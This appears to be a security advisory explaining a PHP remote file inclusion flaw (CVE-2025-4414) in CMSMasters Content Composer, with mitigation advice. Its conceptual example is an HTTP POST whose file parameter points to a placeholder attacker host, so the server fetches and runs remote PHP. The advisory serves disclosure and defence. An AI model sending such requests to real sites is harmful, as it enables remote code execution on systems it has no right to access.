How the Exploit Works
The vulnerability arises due to improper control of a filename that is used in an include/require statement in a PHP program within CMSMasters Content Composer. An attacker can manipulate the filename input and include a file from a remote server. This is known as a PHP Remote File Inclusion (RFI) vulnerability. The attacker can use this to run arbitrary PHP code within the application’s context, potentially leading to full system compromise.
Conceptual Example Code
This conceptual example illustrates how a PHP RFI vulnerability like CVE-2025-4414 could be exploited. The attacker sends a HTTP POST request to a vulnerable endpoint with a malicious payload:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
file=http://attacker.com/malicious.phpIn this example, the server would download and execute the “malicious.php” script from the attacker’s server, leading to the execution of arbitrary PHP code on the target system.
Mitigation
Users of CMSMasters Content Composer are strongly urged to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation measure. Implementing strict input validation and sanitization methods can also help reduce the risk associated with this vulnerability.
